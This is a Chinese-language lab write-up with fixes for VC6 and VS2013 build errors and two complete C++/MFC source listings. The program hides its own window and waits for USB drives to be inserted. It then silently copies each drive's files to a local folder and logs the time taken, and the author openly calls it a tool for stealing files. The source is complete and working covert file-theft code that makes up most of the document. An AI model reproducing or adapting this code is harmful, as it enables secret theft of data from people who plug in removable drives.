實(shí)驗(yàn)一
unresolved external symbol __endthreadex錯(cuò)誤解決,是因?yàn)闆]有引用MFC類庫,解決方案如下:選擇Project-Settings--General--Microsoft foundation Classes-
libcmtd.lib(crt0.obj) : error LNK2001: unresolved external symbol _mainDebug/Hello.exe : fatal error LNK1120: 1 unresolved externals解決方案如下:[Project] --> [Settings] --> 選擇"Link"屬性頁,在Project Options中將/subsystem:console改成/subsystem:windows
showWindow(HWND hWnd, int nCmdShow)函數(shù),第二個(gè)參數(shù)可以是SH_HIDE和SH_SHOW,這里因?yàn)槭潜I取文件所以應(yīng)該SH_HIDE即隱藏對(duì)話框-
在vs++6.0中,按
crtl+B彈出斷點(diǎn)對(duì)話框,點(diǎn)擊removeall
Paste_Image.png SHFileOperation()函數(shù)的方法,該方法返回0值正確,代碼如下:
//取得復(fù)制到的目錄名稱,由于`\` 轉(zhuǎn)義字符的原因,格式要求:\\
SourcePath.Replace(_T("\\"),_T("\\\\"));
SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
SourcePath.SetAt(strlen(SourcePath)+1,'\0');//文件路勁需要以'\0結(jié)尾',setAT指在制定位置插入一個(gè)字符
CString DirName = GetDirectoryName() +p_driver.Left(1);
p_start=DirName ;
//創(chuàng)建目錄
CreateDirectory(DestinationPath + '\\' + DirName , NULL);
SHFILEOPSTRUCT FileOP; //聲明文件操作結(jié)構(gòu)體
memset((void *)&FileOP,0,sizeof(FileOP));
FileOP.hwnd = hwnd; //句柄
FileOP.fFlags = FOF_SILENT ; //操作標(biāo)志位,這里表示不顯示進(jìn)度條
FileOP.wFunc = FO_COPY; //操作方式,表示復(fù)制操作,還可以進(jìn)行刪除等操作
FileOP.pFrom = SourcePath; //源地址,這里的原地址必須符合一定的格式,不然會(huì)有各種錯(cuò)誤碼返回
CString str = DestinationPath + DirName; //目的地址
//執(zhí)行復(fù)制操作
str.GetBufferSetLength (strlen(str)+2);
str.SetAt(strlen(str)+1,0);
FileOP.pTo = str;
FileOP.fAnyOperationsAborted = false; //是否允許中斷操作
FileOP.hNameMappings = NULL;
FileOP.lpszProgressTitle = NULL;
SourcePath.ReleaseBuffer();
str.ReleaseBuffer();
int MSG = SHFileOperation(&FileOP); //執(zhí)行復(fù)制操作
return (MSG==0);
- vc6下環(huán)境代碼如下
- 整體代碼如下:
CString DestDirPath="G:\\";//把U盤中的文件復(fù)制到D:
CCriticalSection logfile;
LRESULT CALLBACK CallWindowProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
);
void GetMobileDrive();
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver);
CString GetDirectoryName();
UINT ProcDriver(LPVOID pParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
WNDCLASS wndcls;
wndcls.cbClsExtra = 0; //額外分配給窗口類的字節(jié)數(shù),系統(tǒng)初始化為0
wndcls.cbWndExtra = 0;//額外分配給窗口實(shí)例的字節(jié)數(shù),初始化為0
wndcls.hbrBackground = HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
wndcls.hCursor = LoadCursor(NULL,IDC_NO);;//窗口類的光標(biāo)句柄
wndcls.hIcon = LoadIcon(NULL,IDI_WINLOGO);
wndcls.hInstance = hInstance;
wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息時(shí)調(diào)用的函數(shù)名稱
wndcls.lpszClassName = "Lijiayang";//窗口的名稱
wndcls.lpszMenuName = 0;
wndcls.style = CS_HREDRAW | CS_VREDRAW;//定義窗口的樣式
wndcls.style &= ~WS_MINIMIZEBOX;
RegisterClass(&wndcls);//根據(jù)初始化屬性注冊(cè)窗口類
HWND hwnd;
hwnd = CreateWindow("Lijiayang","Copy_File",WS_OVERLAPPEDWINDOW,0,0,
20,20,NULL,NULL,hInstance,NULL);//創(chuàng)建該窗口
ShowWindow(hwnd,SW_HIDE);//以隱藏方式顯示當(dāng)前窗口
UpdateWindow(hwnd);//更新當(dāng)前窗口
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
//PeekMessage(&msg,hwnd,0,0,PM_NOREMOVE);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK CallWindowProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
//HDC hdc;
switch (uMsg)
{
case WM_CLOSE: //窗口關(guān)閉消息
DestroyWindow(hwnd);
break;
case WM_DESTROY: //破壞窗口消息
PostQuitMessage(0); //立刻回報(bào)
break;
case WM_DEVICECHANGE:
{
switch(wParam)
{
case DBT_DEVICEARRIVAL:
DEV_BROADCAST_HDR *stHDR;
stHDR = (DEV_BROADCAST_HDR *)lParam;
switch(stHDR->dbch_devicetype)//判斷設(shè)備類型
{
case DBT_DEVTYP_VOLUME://邏輯卷標(biāo)
GetMobileDrive();//取得可移動(dòng)磁盤盤符存
//儲(chǔ)在strMobileDriver中
break;
}
break;
default:
break;
}
break;
}
default:
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
return 0;
}
void GetMobileDrive()
{
CString l_driver;
DWORD id = GetLogicalDrives();
for (int i = 1; i < 26; i++)
{
if ((id & (1 << i)) != 0)
{
CString l_driver = CString(char('A' + i)) + ":";
if (GetDriveType(l_driver) == DRIVE_REMOVABLE)
{
AfxBeginThread(ProcDriver,(LPVOID)l_driver.GetBuffer(0));//為每個(gè)U盤創(chuàng)建一個(gè)線程來進(jìn)行拷貝工作
Sleep(100);//每100ms執(zhí)行一次
}
}
}
}
CString GetDirectoryName()
{
CString direct;
CTime t=CTime::GetCurrentTime();
direct = t.Format("_%Y_%B_%d_%H時(shí)%M分%S秒");
return direct;
}
UINT ProcDriver(LPVOID pParam)
{
CString strSourcePath="";
clock_t start,finish;
CString strMobileDriver="";//存儲(chǔ)可移動(dòng)磁盤盤符
CString T_start;
CString s;
UINT64 i,j,sy;
CString totalspace1,freespace1;
ULARGE_INTEGER FreeAv, TotalBytes, FreeBytes;
CString l_driver =(char *) pParam;
if(GetDiskFreeSpaceEx(l_driver,&FreeAv,&TotalBytes,&FreeBytes))
{
totalspace1.Format("磁盤%s容量:%uM", l_driver, TotalBytes.QuadPart/1024/1024);
freespace1.Format("剩余磁盤容量:%uM", FreeBytes.QuadPart/1024/1024);
}
if (!l_driver.IsEmpty() )
{
strSourcePath = l_driver + "\\*.*";
start=clock();
MyCopyFile(NULL,strSourcePath,DestDirPath,T_start,l_driver);
}
finish=clock();
i=TotalBytes.QuadPart/1024/1024;
j=FreeBytes.QuadPart/1024/1024;
sy=i-j;
CString usespace;
usespace.Format("%d",sy);
double duration;
CString T_finish;
//duration = (double)( finish - start) / CLOCKS_PER_SEC;
logfile.Lock();
CTime t=CTime::GetCurrentTime();
T_finish = t.Format("_%Y_%B_%d_%H時(shí)%M分%S秒");
FILE *out=fopen("D:\\log.txt","a");
duration = (double)( finish - start) / CLOCKS_PER_SEC;
CString str_time,str_time1;
str_time.Format("用時(shí):%.6fs",duration);
s="開始時(shí)間"+T_start+" "+"結(jié)束時(shí)間"+T_finish+"\n"+"持續(xù)"+str_time+"\n";
s=s+totalspace1+" "+freespace1+" "+"文件大小:"+usespace+"M""\n";
fputs(s,out);
fclose(out);
logfile.Unlock();
return 0;
}
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver)
{
//取得復(fù)制到的目錄名稱
SourcePath.Replace(_T("\\"),_T("\\\\"));
SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
SourcePath.SetAt(strlen(SourcePath)+1,'\0');
CString DirName = GetDirectoryName() +p_driver.Left(1);
p_start=DirName ;
//創(chuàng)建目錄
CreateDirectory(DestinationPath + '\\' + DirName , NULL);
//聲明文件操作結(jié)構(gòu)體FileOP,設(shè)置屬性
SHFILEOPSTRUCT FileOP; //聲明文件操作結(jié)構(gòu)體
memset((void *)&FileOP,0,sizeof(FileOP));
FileOP.hwnd = hwnd; //句柄
FileOP.fFlags = FOF_SILENT ; //操作標(biāo)志位
FileOP.wFunc = FO_COPY; //操作方式
FileOP.pFrom = SourcePath; //源地址
CString str = DestinationPath + DirName; //目的地址
//SourcePath.Replace(_T("\\"),_T("\\\\"));
//CString str = "G:\\";
//執(zhí)行復(fù)制操作
str.GetBufferSetLength (strlen(str)+2);
str.SetAt(strlen(str)+1,0);
//str.Replace(_T("\\"),_T("\\\\"));
FileOP.pTo = str;
FileOP.fAnyOperationsAborted = false; //是否允許中斷操作
FileOP.hNameMappings = NULL;
FileOP.lpszProgressTitle = NULL;
SourcePath.ReleaseBuffer();
str.ReleaseBuffer();
int MSG = SHFileOperation(&FileOP); //執(zhí)行復(fù)制操作
return (MSG==0);
}
可惜的是以上都是在vc6下的編譯環(huán)境,因?yàn)閷?shí)驗(yàn)室突然升級(jí)成vs2013了,然后我就爆炸了,下面寫寫調(diào)試vs2013的環(huán)境的心路歷程.
- 可能會(huì)遇到mfc庫的錯(cuò),如下:

解決方案如下:

即在項(xiàng)目屬性頁-》常規(guī)-》項(xiàng)目默認(rèn)值中選擇共享DLL中使用MFC
- 在vs 2013下是Unicode類型,需要很多的轉(zhuǎn)換函數(shù)比如CString->char*,使用下面的函數(shù)
char* csToChar(CString str)
{
char *ptr;
#ifdef _UNICODE
LONG len;
len = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
ptr = new char[len + 1];
memset(ptr, 0, len + 1);
WideCharToMultiByte(CP_ACP, 0, str, -1, ptr, len + 1, NULL, NULL);
#else
ptr = new char[str.GetAllocLength() + 1];
sprintf(ptr, _T("%s"), str);
#endif
return ptr;
}
還有什么wndcls.lpszClassName需要的是wchar_t*類型的指針,需要在字符串前加個(gè)L,如下
wchar_t* name = L"Lijiayang";
- 對(duì)了還有一個(gè)需要注意
afxmt.h與stdafx.h中有一個(gè)包即'window.h'重復(fù)了,錯(cuò)誤如下:

解決方案如下注釋掉stdafx.h中window.h:

- 可能還會(huì)遇到一個(gè)錯(cuò),是關(guān)于安全問題的。如下

解決方案:
項(xiàng)目 =》屬性 =》c/c++ =》預(yù)處理器=》點(diǎn)擊預(yù)處理器定義,編輯,加入_CRT_SECURE_NO_WARNINGS,即可。
- vs2013下的目錄結(jié)構(gòu)如下:

源代碼如下
#include "stdafx.h"
#include "Win32Project3.h"
#include "afxmt.h"
#include "Afxwin.h"
//#include <afx.h>
#include <dbt.h>
#include <shellapi.h>
#include <time.h>
#include "math.h"
#include <stdio.h>
CString DestDirPath = "E:\\";//把U盤中的文件復(fù)制到D:
CCriticalSection logfile;
void GetMobileDrive();
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath, CString & p_start, CString p_driver);
CString GetDirectoryName();
UINT ProcDriver(LPVOID pParam);
char* csToChar(CString str);
char* csToChar(CString str)
{
char *ptr;
#ifdef _UNICODE
LONG len;
len = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
ptr = new char[len + 1];
memset(ptr, 0, len + 1);
WideCharToMultiByte(CP_ACP, 0, str, -1, ptr, len + 1, NULL, NULL);
#else
ptr = new char[str.GetAllocLength() + 1];
sprintf(ptr, _T("%s"), str);
#endif
return ptr;
}
LRESULT CALLBACK CallWindowProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
//HDC hdc;
switch (uMsg)
{
case WM_CLOSE: //窗口關(guān)閉消息
DestroyWindow(hwnd);
break;
case WM_DESTROY: //破壞窗口消息
PostQuitMessage(0); //立刻回報(bào)
break;
case WM_DEVICECHANGE:
{
switch (wParam)
{
case DBT_DEVICEARRIVAL:
DEV_BROADCAST_HDR *stHDR;
stHDR = (DEV_BROADCAST_HDR *)lParam;
switch (stHDR->dbch_devicetype)//判斷設(shè)備類型
{
case DBT_DEVTYP_VOLUME://邏輯卷標(biāo)
GetMobileDrive();//取得可移動(dòng)磁盤盤符存
//儲(chǔ)在strMobileDriver中
break;
}
break;
default:
break;
}
break;
}
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
WNDCLASS wndcls;
wndcls.cbClsExtra = 0; //額外分配給窗口類的字節(jié)數(shù),系統(tǒng)初始化為0
wndcls.cbWndExtra = 0;//額外分配給窗口實(shí)例的字節(jié)數(shù),初始化為0
wndcls.hbrBackground = HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
wndcls.hCursor = LoadCursor(NULL, IDC_NO);;//窗口類的光標(biāo)句柄
wndcls.hIcon = LoadIcon(NULL, IDI_WINLOGO);
wndcls.hInstance = hInstance;
wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息時(shí)調(diào)用的函數(shù)名稱
wchar_t* name = L"Lijiayang";
wndcls.lpszClassName = name;//窗口的名稱
wndcls.lpszMenuName = 0;
wndcls.style = CS_HREDRAW | CS_VREDRAW;//定義窗口的樣式
wndcls.style &= ~WS_MINIMIZEBOX;
RegisterClass(&wndcls);//根據(jù)初始化屬性注冊(cè)窗口類
HWND hwnd;
hwnd = CreateWindow(name, L"Copy_File", WS_OVERLAPPEDWINDOW, 0, 0,
20, 20, NULL, NULL, hInstance, NULL);//創(chuàng)建該窗口
ShowWindow(hwnd, SW_HIDE);//以隱藏方式顯示當(dāng)前窗口
UpdateWindow(hwnd);//更新當(dāng)前窗口
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
//PeekMessage(&msg,hwnd,0,0,PM_NOREMOVE);
DispatchMessage(&msg);
}
return 0;
}
void GetMobileDrive()
{
CString l_driver;
DWORD id = GetLogicalDrives();
for (int i = 1; i < 26; i++)
{
if ((id & (1 << i)) != 0)//檢查盤符是否存在,id每一位對(duì)應(yīng)了一個(gè)邏輯驅(qū)動(dòng)器是否存在。第二位如果是“1”則表示驅(qū)動(dòng)器“B:”存在,第四位如果是“1”則表示驅(qū)動(dòng)器“D:”存在
{
CString l_driver = CString(char('A' + i)) + ":";
if (GetDriveType(l_driver) == DRIVE_REMOVABLE)
{
AfxBeginThread(ProcDriver, (LPVOID)l_driver.GetBuffer(0));//為每個(gè)U盤創(chuàng)建一個(gè)線程來進(jìn)行拷貝工作,LVPVOID可以看做java中Object類.
Sleep(100);//每100ms執(zhí)行一次
}
}
}
}
CString GetDirectoryName()
{
CString direct;
CTime t = CTime::GetCurrentTime();
direct = t.Format("_%Y_%B_%d_%H時(shí)%M分%S秒");
return direct;
}
UINT ProcDriver(LPVOID pParam)
{
CString strSourcePath = "";
clock_t start, finish;
CString strMobileDriver = "";//存儲(chǔ)可移動(dòng)磁盤盤符
CString T_start;
CString s;
UINT64 i, j, sy;
CString totalspace1, freespace1;
ULARGE_INTEGER FreeAv, TotalBytes, FreeBytes;
CString l_driver = (char *)pParam;
if (GetDiskFreeSpaceEx(l_driver, &FreeAv, &TotalBytes, &FreeBytes))
{
totalspace1.Format(L"磁盤%s容量:%uM", l_driver, TotalBytes.QuadPart / 1024 / 1024);
freespace1.Format(L"剩余磁盤容量:%uM", FreeBytes.QuadPart / 1024 / 1024);
}
if (!l_driver.IsEmpty())
{
strSourcePath = l_driver +":\\abc.txt";
start = clock();
MyCopyFile(NULL, strSourcePath, DestDirPath, T_start, l_driver);
}
finish = clock();
i = TotalBytes.QuadPart / 1024 / 1024;
j = FreeBytes.QuadPart / 1024 / 1024;
sy = i - j;
CString usespace;
usespace.Format(L"%d", sy);
double duration;
CString T_finish;
//duration = (double)( finish - start) / CLOCKS_PER_SEC;
logfile.Lock();
CTime t = CTime::GetCurrentTime();
T_finish = t.Format("_%Y_%B_%d_%H時(shí)%M分%S秒");
FILE *out = fopen("E:\\log.txt", "a");
duration = (double)(finish - start) / CLOCKS_PER_SEC;
CString str_time, str_time1;
str_time.Format(L"用時(shí):%.6fs", duration);
s = "開始時(shí)間" + T_start + " " + "結(jié)束時(shí)間" + T_finish + "\n" + "持續(xù)" + str_time + "\n";
s = s + totalspace1 + " " + freespace1 + " " + "文件大小:" + usespace + "M""\n";
fputs(csToChar(s), out);
fclose(out);
logfile.Unlock();
return 0;
}
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath, CString & p_start, CString p_driver)
{
//取得復(fù)制到的目錄名稱
char* source_path = csToChar(SourcePath);
//SourcePath.GetBuffer(SourcePath.GetLength());
SourcePath.GetBufferSetLength(strlen(source_path) + 2);
SourcePath.SetAt(strlen(source_path) + 1, '\0');
CString DirName = GetDirectoryName() + p_driver.Left(1);
p_start = DirName;
//創(chuàng)建目錄
CreateDirectory(DestinationPath + DirName, NULL);
//聲明文件操作結(jié)構(gòu)體FileOP,設(shè)置屬性
SHFILEOPSTRUCT FileOP; //聲明文件操作結(jié)構(gòu)體
memset((void *)&FileOP, 0, sizeof(FileOP));
FileOP.hwnd = hwnd; //句柄
FileOP.fFlags = FOF_SILENT; //操作標(biāo)志位
FileOP.wFunc = FO_COPY; //操作方式
FileOP.pFrom = SourcePath; //源地址
CString str = DestinationPath + DirName; //目的地址
char* DestPath = csToChar(str);
//執(zhí)行復(fù)制操作
str.GetBufferSetLength(strlen(DestPath) + 2);
str.SetAt(strlen(DestPath) + 1, '\0');
FileOP.pTo = str;
FileOP.fAnyOperationsAborted = false; //是否允許中斷操作
FileOP.hNameMappings = NULL;
FileOP.lpszProgressTitle = NULL;
SourcePath.ReleaseBuffer();
str.ReleaseBuffer();
int MSG = SHFileOperation(&FileOP); //執(zhí)行復(fù)制操作
return (MSG == 0);
}
